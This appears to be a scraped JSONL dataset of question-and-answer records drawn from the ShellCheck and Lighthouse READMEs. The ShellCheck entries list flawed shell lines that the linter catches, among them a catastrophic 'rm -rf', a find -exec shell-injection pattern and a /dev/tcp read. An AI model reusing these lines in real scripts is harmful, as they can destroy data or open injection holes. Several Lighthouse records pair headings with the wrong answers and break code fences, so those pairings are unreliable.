{"id": "gh_60881aa8ea48", "question": "How to: Common beginner's mistakes", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck recognizes many common beginner's syntax errors:\n\n```sh\nvar = 42                          # Spaces around = in assignments\n$foo=42                           # $ in assignments\nfor $var in *; do ...             # $ in for loop variables\nvar$n=\"Hello\"                     # Wrong indirect assignment\necho ${var$n}                     # Wrong indirect reference\nvar=(1, 2, 3)                     # Comma separated arrays\narray=( [index] = value )         # Incorrect index initialization\necho $var[14]                     # Missing {} in array references\necho \"Argument 10 is $10\"         # Positional parameter misreference\nif $(myfunction); then ..; fi     # Wrapping commands in $()\nelse if othercondition; then ..   # Using 'else if'\nf; f() { echo \"hello world; }     # Using function before definition\n[ false ]                         # 'false' being true\nif ( -f file )                    # Using (..) instead of test\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479822"}
{"id": "gh_297d9109e85a", "question": "How to: Data and typing errors", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck can recognize issues related to data and typing:\n\n```sh\nargs=\"$@\"                         # Assigning arrays to strings\nfiles=(foo bar); echo \"$files\"    # Referencing arrays as strings\ndeclare -A arr=(foo bar)          # Associative arrays without index\nprintf \"%s\\n\" \"Arguments: $@.\"    # Concatenating strings and arrays\n[[ $# > 2 ]]                      # Comparing numbers as strings\nvar=World; echo \"Hello \" var      # Unused lowercase variables\necho \"Hello $name\"                # Unassigned lowercase variables\ncmd | read bar; echo $bar         # Assignments in subshells\ncat foo | cp bar                  # Piping to commands that don't read\nprintf '%s: %s\\n' foo             # Mismatches in printf argument count\neval \"${array[@]}\"                # Lost word boundaries in array eval\nfor i in \"${x[@]}\"; do ${x[$i]}   # Using array value as key\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479829"}
{"id": "gh_4cc8db2f974b", "question": "How to: Robustness", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck can make suggestions for improving the robustness of a script:\n\n```sh\nrm -rf \"$STEAMROOT/\"*            # Catastrophic rm\ntouch ./-l; ls *                 # Globs that could become options\nfind . -exec sh -c 'a && b {}' \\; # Find -exec shell injection\nprintf \"Hello $name\"             # Variables in printf format\nfor f in $(ls *.txt); do         # Iterating over ls output\nexport MYVAR=$(cmd)              # Masked exit codes\ncase $version in 2.*) :;; 2.6.*) # Shadowed case branches\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479835"}
{"id": "gh_3f0208adc98e", "question": "How to: Portability", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck will warn when using features not supported by the shebang. For example, if you set the shebang to `#!/bin/sh`, ShellCheck will warn about portability issues similar to `checkbashisms`:\n\n```sh\necho {1..$n}                     # Works in ksh, but not bash/dash/sh\necho {1..10}                     # Works in ksh and bash, but not dash/sh\necho -n 42                       # Works in ksh, bash and dash, undefined in sh\nexpr match str regex             # Unportable alias for `expr str : regex`\ntrap 'exit 42' sigint            # Unportable signal spec\ncmd &> file                      # Unportable redirection operator\nread foo < /dev/tcp/host/22      # Unportable intercepted files\nfoo-bar() { ..; }                # Undefined/unsupported function name\n[ $UID = 0 ]                     # Variable undefined in dash/sh\nlocal var=value                  # local is undefined in sh\ntime sleep 1 | sleep 5           # Undefined uses of 'time'\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479841"}
{"id": "gh_6bb37e53652b", "question": "How to: Miscellaneous", "question_body": "About koalaman/shellcheck", "answer": "ShellCheck recognizes a menagerie of other issues:\n\n```sh\nPS1='\\e[0;32m\\$\\e[0m '            # PS1 colors not in \\[..\\]\nPATH=\"$PATH:~/bin\"                # Literal tilde in $PATH\nrm “file”                         # Unicode quotes\necho \"Hello world\"                # Carriage return / DOS line endings\necho hello \\                      # Trailing spaces after \\\nvar=42 echo $var                  # Expansion of inlined environment\n!# bin/bash -x -e                 # Common shebang errors\necho $((n/180*100))               # Unnecessary loss of precision\nls *[:digit:].txt                 # Bad character class globs\nsed 's/foo/bar/' file > file      # Redirecting to input\nvar2=$var2                        # Variable assigned to itself\n[ x$var = xval ]                  # Antiquated x-comparisons\nls() { ls -l \"$@\"; }              # Infinitely recursive wrapper\nalias ls='ls -l'; ls foo          # Alias used before it takes effect\nfor x; do for x; do               # Nested loop uses same variable\nwhile getopts \"a\" f; do case $f in \"b\") # Unhandled getopts flags\n```", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 38838, "answer_score": 10, "has_code": true, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479852"}
{"id": "gh_73bef7dd7454", "question": "How to: Testimonials", "question_body": "About koalaman/shellcheck", "answer": "> At first you're like \"shellcheck is awesome\" but then you're like \"wtf are we still using bash\"\n\nAlexander Tarasikov,\n[via Twitter](https://twitter.com/astarasikov/status/568825996532707330)", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479857"}
{"id": "gh_19ed03287f52", "question": "How to: Ignoring issues", "question_body": "About koalaman/shellcheck", "answer": "Issues can be ignored via environmental variable, command line, individually or globally within a file:", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479863"}
{"id": "gh_6e8b3d71f262", "question": "How to: Reporting bugs", "question_body": "About koalaman/shellcheck", "answer": "Please use the GitHub issue tracker for any bugs or feature suggestions:", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479868"}
{"id": "gh_11f696ca94fa", "question": "How to: Contributing", "question_body": "About koalaman/shellcheck", "answer": "Please submit patches to code or documentation as GitHub pull requests! Check\nout the [DevGuide](https://github.com/koalaman/shellcheck/wiki/DevGuide) on the\nShellCheck Wiki.\n\nContributions must be licensed under the GNU GPLv3.\nThe contributor retains the copyright.", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479873"}
{"id": "gh_d2dd5735b861", "question": "How to: Other Resources", "question_body": "About koalaman/shellcheck", "answer": "* The wiki has [long form descriptions](https://github.com/koalaman/shellcheck/wiki/Checks) for each warning, e.g. [SC2221](https://github.com/koalaman/shellcheck/wiki/SC2221).\n* ShellCheck does not attempt to enforce any kind of formatting or indenting style, so also check out [shfmt](https://github.com/mvdan/sh)!", "tags": ["koalaman"], "source": "github_gists", "category": "koalaman", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 38838, "answer_score": 10, "has_code": false, "url": "https://github.com/koalaman/shellcheck", "collected_at": "2026-01-17T08:21:38.479879"}
{"id": "gh_eb905e86c555", "question": "How to: Using Lighthouse in Chrome DevTools", "question_body": "About GoogleChrome/lighthouse", "answer": "Lighthouse is integrated directly into the Chrome DevTools, under the \"Lighthouse\" panel.\n\n**Installation**: install [Chrome](https://www.google.com/chrome/browser).\n\n**Run it**: open Chrome DevTools, select the Lighthouse panel, and hit \"Generate report\".", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793856"}
{"id": "gh_7b174df58e06", "question": "How to: Using the Chrome extension", "question_body": "About GoogleChrome/lighthouse", "answer": "The Chrome extension was available prior to Lighthouse being available in Chrome Developer Tools, and offers similar functionality.\n\n**Installation**: [install the extension](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk) from the Chrome Web Store.\n\n**Run it**: follow the [extension quick-start guide](https://developers.google.com/web/tools/lighthouse/#extension).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793871"}
{"id": "gh_150625a6f58b", "question": "How to: Using the Node CLI", "question_body": "About GoogleChrome/lighthouse", "answer": "The Node CLI provides the most flexibility in how Lighthouse runs can be configured and reported. Users who want more advanced usage, or want to run Lighthouse in an automated fashion should use the Node CLI.\n\n> [!NOTE]\n> Lighthouse requires Node 22 (LTS) or later.\n\n**Installation**:\n\n```sh\nnpm install -g lighthouse", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793879"}
{"id": "gh_5b58db8216f8", "question": "How to: yarn global add lighthouse", "question_body": "About GoogleChrome/lighthouse", "answer": "```\n\n**Run it**: `lighthouse https://airhorner.com/`\n\nBy default, Lighthouse writes the report to an HTML file. You can control the output format by passing flags.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793885"}
{"id": "gh_b7bae11c85b9", "question": "How to: CLI options", "question_body": "About GoogleChrome/lighthouse", "answer": "```\n$ lighthouse --help\n\nlighthouse\nLogging:\n  --verbose  Displays verbose logging  [boolean] [default: false]\n  --quiet    Displays no progress, debug logs, or errors  [boolean] [default: false]\n\nConfiguration:\n  --save-assets                  Save the trace contents & devtools logs to disk  [boolean] [default: false]\n  --list-all-audits              Prints a list of all available audits and exits  [boolean] [default: false]\n  --list-trace-categories        Prints a list of all required trace categories and exits  [boolean] [default: false]\n  --additional-trace-categories  Additional categories to capture with the trace (comma-delimited).  [string]\n  --config-path                  The path to the config JSON.\n                                 An example config file: core/config/lr-desktop-config.js  [string]\n  --preset                       Use a built-in configuration.\n                                 WARNING: If the --config-path flag is provided, this preset will be ignored.  [string] [choices: \"perf\", \"experimental\", \"desktop\"]\n  --chrome-flags                 Custom flags to pass to Chrome (space-delimited). For a full list of flags, see https://bit.ly/chrome-flags\n                                 Additionally, use the CHROME_PATH environment variable to use a specific Chrome binary. Requires Chromium version 66.0 or later. If omitted, any detected Chrome Canary or Chrome stable will be used.  [string] [default: \"\"]\n  --port                         The port to use for the debugging protocol. Use 0 for a random port  [number] [default: 0]\n  --hostname                     The hostname to use for the debugging protocol.  [string] [default: \"localhost\"]\n  --form-factor                  Determines how performance metrics are scored and if mobile-only audits are skipped. For desktop, use --preset=desktop instead.  [string] [choices: \"mobile\", \"desktop\"]\n  --screenEmulation              Sets screen emulation parameters. See also --preset. Use --screenEmulation.disabled to disable. Otherwise set these 4 parameters individually: --screenEmulation.mobile --screenEmulation.width=360 --screenEmulation.height=640 --screenEmulation.deviceScaleFactor=2\n  --emulatedUserAgent            Sets useragent emulation  [string]\n  --max-wait-for-load            The timeout (in milliseconds) to wait before the page is considered done loading and the run should continue. WARNING: Very high values can lead to large traces and instability  [number]\n  --enable-error-reporting       Enables error reporting, overriding any saved preference. --no-enable-error-reporting will do the opposite. More: https://github.com/GoogleChrome/lighthouse/blob/main/docs/error-reporting.md  [boolean]\n  --gather-mode, -G              Collect artifacts from a connected browser and save to disk. (Artifacts folder path may optionally be provided). If audit-mode is not also enabled, the run will quit early.\n  --audit-mode, -A               Process saved artifacts from disk. (Artifacts folder path may be provided, otherwise defaults to ./latest-run/)\n  --only-audits                  Only run the specified audits  [array]\n  --only-categories              Only run the specified categories. Available categories: accessibility, best-practices, performance, seo  [array]\n  --skip-audits                  Run everything except these audits  [array]\n  --disable-full-page-screenshot Disables collection of the full page screenshot, which can be quite large  [boolean]\n\nOutput:\n  --output       Reporter for the results, supports multiple values. choices: \"json\", \"html\", \"csv\"  [array] [default: [\"html\"]]\n  --output-path  The file path to output the results. Use 'stdout' to write to stdout.\n                   If using JSON output, default is stdout.\n                   If using HTML or CSV output, default is a file in the working directory with a name based on the test URL and date.\n                   If using multiple outputs, --output-path is appended with the standard extension for each output type. \"reports/my-run\" -> \"reports/my-run.report.html\", \"reports/my-run.report.json\", etc.\n                   Example: --output-path=./lighthouse-results.html  [string]\n  --view         Open HTML report in your browser  [boolean] [default: false]\n\nOptions:\n  --version                            Show version number  [boolean]\n  --help                               Show help  [boolean]\n  --cli-flags-path                     The path to a JSON file that contains the desired CLI flags to apply. Flags specified at the command line will still override the file-based ones.\n  --locale                             The locale/language the report should be formatted in\n  --blocked-url-patterns               Block any network requests to the specified URL patterns  [array]\n  --disable-storage-reset              Disable clearing the browser cache and other storage APIs before a run  [boolean]\n  --throttling-method", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793903"}
{"id": "gh_c689aff0c2c5", "question": "How to: json output sent to stdout", "question_body": "About GoogleChrome/lighthouse", "answer": "lighthouse --output html --output-path ./report.html", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793911"}
{"id": "gh_4d2e86806fc3", "question": "How to: NOTE: specifying an output path with multiple formats ignores your specified extension for *ALL* formats", "question_body": "About GoogleChrome/lighthouse", "answer": "lighthouse --output json --output html --output-path ./myfile.json", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793916"}
{"id": "gh_6b4423538ee9", "question": "How to: saves `./<HOST>_<DATE>.report.json` and `./<HOST>_<DATE>.report.html`", "question_body": "About GoogleChrome/lighthouse", "answer": "lighthouse --output-path=~/mydir/foo.out --save-assets", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793922"}
{"id": "gh_75cae4dd06f8", "question": "How to: saves `~/mydir/foo-0.trace.json` and `~/mydir/foo-0.devtoolslog.json`", "question_body": "About GoogleChrome/lighthouse", "answer": "lighthouse --output-path=./report.json --output json", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793927"}
{"id": "gh_01a5e58de5ca", "question": "How to: saves `./report.json`", "question_body": "About GoogleChrome/lighthouse", "answer": "```\n\n##### Lifecycle Examples\nYou can run a subset of Lighthouse's lifecycle if desired via the `--gather-mode` (`-G`) and  `--audit-mode` (`-A`) CLI flags.\n\n```sh\nlighthouse http://example.com -G", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793933"}
{"id": "gh_c5b3c117670c", "question": "How to: You can optionally provide a custom folder destination to -G/-A/-GA. Without a value, the default will be `$PWD/latest-run`.", "question_body": "About GoogleChrome/lighthouse", "answer": "lighthouse -GA=./gmailartifacts https://gmail.com\n```\n\n#### Notes on Error Reporting\n\nThe first time you run the CLI you will be prompted with a message asking you if Lighthouse can anonymously report runtime exceptions. The Lighthouse team uses this information to detect new bugs and avoid regressions. Opting out will not affect your ability to use Lighthouse in any way. [Learn more](https://github.com/GoogleChrome/lighthouse/blob/main/docs/error-reporting.md).", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793940"}
{"id": "gh_2e4e5cdb73ff", "question": "How to: Using the Node module", "question_body": "About GoogleChrome/lighthouse", "answer": "You can also use Lighthouse programmatically with the Node module.\n\nRead [Using Lighthouse programmatically](./docs/readme.md#using-programmatically) for help getting started.\\\nRead [Lighthouse Configuration](./docs/configuration.md) to learn more about the configuration options available.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793946"}
{"id": "gh_f538e5683f87", "question": "How to: Viewing a report", "question_body": "About GoogleChrome/lighthouse", "answer": "Lighthouse can produce a report as JSON or HTML.\n\nHTML report:", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793951"}
{"id": "gh_ca8452c9e4d2", "question": "How to: Online Viewer", "question_body": "About GoogleChrome/lighthouse", "answer": "Running Lighthouse with the `--output=json` flag generates a JSON dump of the run.\nYou can view this report online by visiting\nand dragging the file onto the app. You can also use the \"Export\" button from the\ntop of any Lighthouse HTML report and open the report in the\n[Lighthouse Viewer](https://googlechrome.github.io/lighthouse/viewer/).\n\nIn the Viewer, reports can be shared by clicking the share icon in the top\nright corner and signing in to GitHub.\n\n> [!NOTE]\n>  shared reports are stashed as a secret Gist in GitHub, under your account.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793958"}
{"id": "gh_8d174a307b99", "question": "How to: Docs & Recipes", "question_body": "About GoogleChrome/lighthouse", "answer": "Useful documentation, examples, and recipes to get you started.\n\n**Docs**\n\n- [Dealing with variance](./docs/variability.md)\n- [Using Lighthouse programmatically](./docs/readme.md#using-programmatically)\n- [Testing a site with authentication](./docs/authenticated-pages.md)\n- [Developing Plugins](./docs/plugins.md)\n- [Making a New Audit](./docs/new-audits.md)\n- [Testing on a mobile device](./docs/readme.md#testing-on-a-mobile-device)\n- [Lighthouse Architecture](./docs/architecture.md)\n\n**Recipes**\n\n- [Plugin](./docs/recipes/lighthouse-plugin-example) - example Lighthouse plugin\n- [Custom Audit example](./docs/recipes/custom-audit) - extend Lighthouse, run your own audits\n\n**Videos**\n\nThe session from Google I/O 2018 covers the new performance engine, upcoming Lighthouse REST API, and using the Chrome UX report to evaluate real-user data.\n\n[![Watch the Lighthouse @ Google I/O 2018 session.](https://img.youtube.com/vi/UvK9zAsSM8Q/0.jpg)](https://www.youtube.com/watch?v=UvK9zAsSM8Q)\n\nThe session from Google I/O 2017 covers architecture, writing custom audits,\nGitHub/Travis/CI integration, headless Chrome, and more:\n\n[![Watch the Lighthouse @ Google I/O 2017 session.](https://img.youtube.com/vi/NoRYn6gOtVo/0.jpg)](https://www.youtube.com/watch?v=NoRYn6gOtVo)\n\n_Click the image to watch the video on YouTube._", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793967"}
{"id": "gh_e243319d3b71", "question": "How to: yarn should be installed first", "question_body": "About GoogleChrome/lighthouse", "answer": "git clone https://github.com/GoogleChrome/lighthouse\n\ncd lighthouse\nyarn\nyarn build-all\n```", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793973"}
{"id": "gh_e1013ab593b1", "question": "How to: append --chrome-flags=\"--no-sandbox --headless --disable-gpu\" if you run into problems connecting to Chrome", "question_body": "About GoogleChrome/lighthouse", "answer": "```\n\n> **Getting started tip**: `node --inspect-brk cli http://example.com` to open up Chrome DevTools and step\nthrough the entire app. See [Debugging Node.js with Chrome\nDevTools](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27#.59rma3ukm)\nfor more info.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 29724, "answer_score": 10, "has_code": true, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.793979"}
{"id": "gh_43e4c7e022e9", "question": "How to: Lighthouse Integrations in Web Perf services", "question_body": "About GoogleChrome/lighthouse", "answer": "This section details services that have integrated Lighthouse data. If you're working on a cool project integrating Lighthouse and would like to be featured here, file an issue to this repo or tweet at us [@_____lighthouse](https://twitter.com/____lighthouse)!\n\n* **[Web Page Test](https://www.webpagetest.org)** — An [open source](https://github.com/WPO-Foundation/webpagetest) tool for measuring and analyzing the performance of web pages on real devices. Users can choose to produce a Lighthouse report alongside the analysis of WebPageTest results.\n\n* **[HTTPArchive](http://httparchive.org/)** - HTTPArchive tracks how the web is built by crawling 500k pages with Web Page Test, including Lighthouse results, and stores the information in BigQuery where it is [publicly available](https://discuss.httparchive.org/t/quickstart-guide-to-exploring-the-http-archive/682).\n\n* **[Calibre](https://calibreapp.com)** - Calibre is a comprehensive performance monitoring platform running on Lighthouse. See the performance impact of your work before it hits production with GitHub Pull Request Reviews. Track the impact of Third Party scripts. Automate your performance system with a developer-first Node.js API. Try Calibre with a free 15-day trial.\n\n* **[DebugBear](https://www.debugbear.com/)** - DebugBear is a website monitoring tool based on Lighthouse. See how your scores and metrics changed over time, with a focus on understanding what caused each change. DebugBear is a paid product with a free 30-day trial.\n\n* **[Treo](https://treo.sh)** - Treo is Lighthouse as a Service. It provides regression testing, geographical regions, custom networks, and integrations with GitHub & Slack. Treo is a paid product with plans for solo-developers and teams.\n\n* **[PageVitals](https://pagevitals.com)** - PageVitals combines Lighthouse, CrUX and field testing to monitor the performance of websites. See how your website performs over time and get alerted if it gets too slow. Drill down and find the real cause of any performance issue. PageVitals is a paid product with a free 14-day trial.\n\n* **[Screpy](https://screpy.com)** - Screpy is a web analysis tool that can analyze all pages of your websites in one dashboard and monitor them with your team. It's powered by Lighthouse and it also includes some different analysis tools (SERP, W3C, Uptime, etc). Screpy has free and paid plans.\n\n* **[Siteimprove Performance](https://siteimprove.com/en/performance/)** — Siteimprove Performance is a web Performance monitoring solution that enables a marketer, manager or decision maker to understand and optimize website load times. Get easy-to-use insights with a focus on quick and impactful wins. Siteimprove Performance is a paid product with a free 14-day trial.\n\n* **[SpeedCurve](https://speedcurve.com)** — SpeedCurve is a tool for continuously monitoring web performance across different browsers, devices, and regions. It can aggregate any metric including Lighthouse scores across multiple pages and sites, and allows you to set performance budgets with Slack or email alerts. SpeedCurve is a paid product with a free 30-day trial.\n\n* **[Foo](https://www.foo.software/lighthouse)** - Lighthouse-as-a-service offering free and premium plans. Provides monitoring and historical reporting of Lighthouse audits with CircleCI, GitHub, and other integrations. Features include Slack notifications, PR comment reporting and more.\n\n* **[Apdex](https://apdex.co)** - Apdex is a website performance service. The main features are historical Lighthouse report visualizations, mobile/desktop options, alerts, uptime monitoring, and more. There are flexible paid plans and a 30-day free trial.\n\n* **[Websu](https://websu.io)** - Websu is an open source project to provide Lighthouse-as-a-Service through a simple HTTP REST API. The main features are ability to host and deploy in your own environment and historical Lighthouse report summaries.\n\n* **[DTEKT.IO](https://dtekt.io)** - DTEKT is a website performance and uptime monitoring service. It uses lighthouse to provide visibility into the performance of websites from multiple locations on multiple devices. It offers three months free trial and paid plans.\n\n* **[SpeedVitals](https://speedvitals.com)** - SpeedVitals is a Lighthouse powered tool to measure web performance across multiple devices and locations. It has various features like Layout Shift Visualization, Waterfall Chart, Field Data and Resource Graphs. SpeedVitals offers both free and paid plans.\n\n* **[Lighthouse Metrics](https://lighthouse-metrics.com/)** - Lighthouse Metrics gives you global performance insights with a single test. You can also monitor your websites on a daily or hourly base. Lighthouse Metrics offers free global one-time tests and performance monitoring as a paid feature with a free 14-day trial.\n\n* **[Auditzy](https://auditzy.com)** - Auditzy™ is a robust website auditing & monitoring tool which lets you analyze your web page(s) pre-user journey. Analyze th", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794012"}
{"id": "gh_aac704f31b86", "question": "How to: Lighthouse Integrations in non-Web Perf services", "question_body": "About GoogleChrome/lighthouse", "answer": "* **[PageWatch](https://pagewatch.dev/)** — PageWatch is a tool to find problem pages on your website.  It provides insights into spelling errors, layout issues, slow pages (powered by Lighthouse) and more.  PageWatch is offered via free and paid plans.\n\n* **[Fluxguard](https://fluxguard.com/)** - Fluxguard provides website DOM change monitoring orchestrated with Google Puppeteer, and audited by Lighthouse. Fluxguard is a freemium product, with monthly monitoring of up to 75 pages for free.\n\n* **[Microlink](https://microlink.io)** — Microlink is a cloud browser as API. It offers Lighthouse reports on demand, making it easy to build any service on top. Similar functionality is available via the underlying open-source project named browserless.\n\n* **[Wattspeed](https://wattspeed.com/)** — Wattspeed is a free tool that generates snapshots - historical captures of your web pages that include Lighthouse scores, a list of technologies, W3C HTML validator results, DOM size, mixed content info, and more.", "tags": ["GoogleChrome"], "source": "github_gists", "category": "GoogleChrome", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 29724, "answer_score": 10, "has_code": false, "url": "https://github.com/GoogleChrome/lighthouse", "collected_at": "2026-01-17T08:21:55.794021"}
{"id": "gh_81becdb2e572", "question": "How to: Related projects", "question_body": "About GoogleChrome/lighthouse", "answer": "Other awesome open source projects that use Lighthouse.\n\n* **[auto-lighthouse](https://github.com/TGiles/auto-lighthouse)** - a CLI for crawling a domain and generating mobile and desktop reports for each page.\n* **[Exthouse](https://github.com/treosh/exthouse)** - Analyze the impact of a browser extension on web performance.\n* **[Gimbal](https://labs.moduscreate.com/gimbal-web-performance-audit-budgeting)** - An [open source (MIT licensed)](https://github.com/ModusCreateOrg/gimbal) tool used to measure, analyze, and budget aspects of a web application. Gimbal also integrates reports with GitHub pull requests.\n* **[Gradle Lighthouse Plugin](https://github.com/Cognifide/gradle-lighthouse-plugin)** - An open source Gradle plugin that runs Lighthouse tests on multiple URLs and asserts category score thresholds (useful in continuous integration).\n* **[lighthouse-badges](https://github.com/emazzotta/lighthouse-badges)** - Generate gh-badges (shields.io) based on Lighthouse performance.\n* **[lighthouse-batch](https://github.com/mikestead/lighthouse-batch)** - Run Lighthouse over a number of sites and generate a summary of their metrics/scores.\n* **[lighthouse-batch-parallel](https://github.com/Carr1005/lighthouse-batch-parallel)** - Run multiple Lighthouse runs in parallel to accelerate the data collecting process, get the result stream (csv, json, js object) in your own process (warning: performance results may be volatile).\n* **[lighthouse-check-action](https://github.com/foo-software/lighthouse-check-action)** - A GitHub Action to run Lighthouse in a workflow, featuring Slack notifications and report upload to S3.\n* **[lighthouse-check-orb](https://circleci.com/orbs/registry/orb/foo-software/lighthouse-check)** - A CircleCI Orb to run Lighthouse in a workflow, featuring Slack notifications and report upload to S3.\n* **[andreasonny83/lighthouse-ci](https://github.com/andreasonny83/lighthouse-ci)** - Run Lighthouse and assert scores satisfy your custom thresholds.\n* **[GoogleChrome/lighthouse-ci](https://github.com/GoogleChrome/lighthouse-ci)** - (**official**) Automate running Lighthouse for every commit, viewing the changes, and preventing regressions.\n* **[lighthouse-ci-action](https://github.com/treosh/lighthouse-ci-action)** - A GitHub Action that makes it easy to run Lighthouse in CI and keep your pages small using performance budgets.\n* **[lighthouse-gh-reporter](https://github.com/carlesnunez/lighthouse-gh-reporter)** - Run Lighthouse in CI and report back in a comment on your pull requests\n* **[lighthouse-jest-example](https://github.com/justinribeiro/lighthouse-jest-example)** - Gather performance metrics via Lighthouse and assert results with Jest; uses Puppeteer to start Chrome with network emulation settings defined by WebPageTest.\n* **[lighthouse-lambda](https://github.com/Otterseer/lighthouse-lambda)** - Run Lighthouse on AWS Lambda with prebuilt stable desktop Headless Chrome.\n* **[lighthouse-matchers](https://github.com/ackama/lighthouse-matchers)** - Provides RSpec matchers 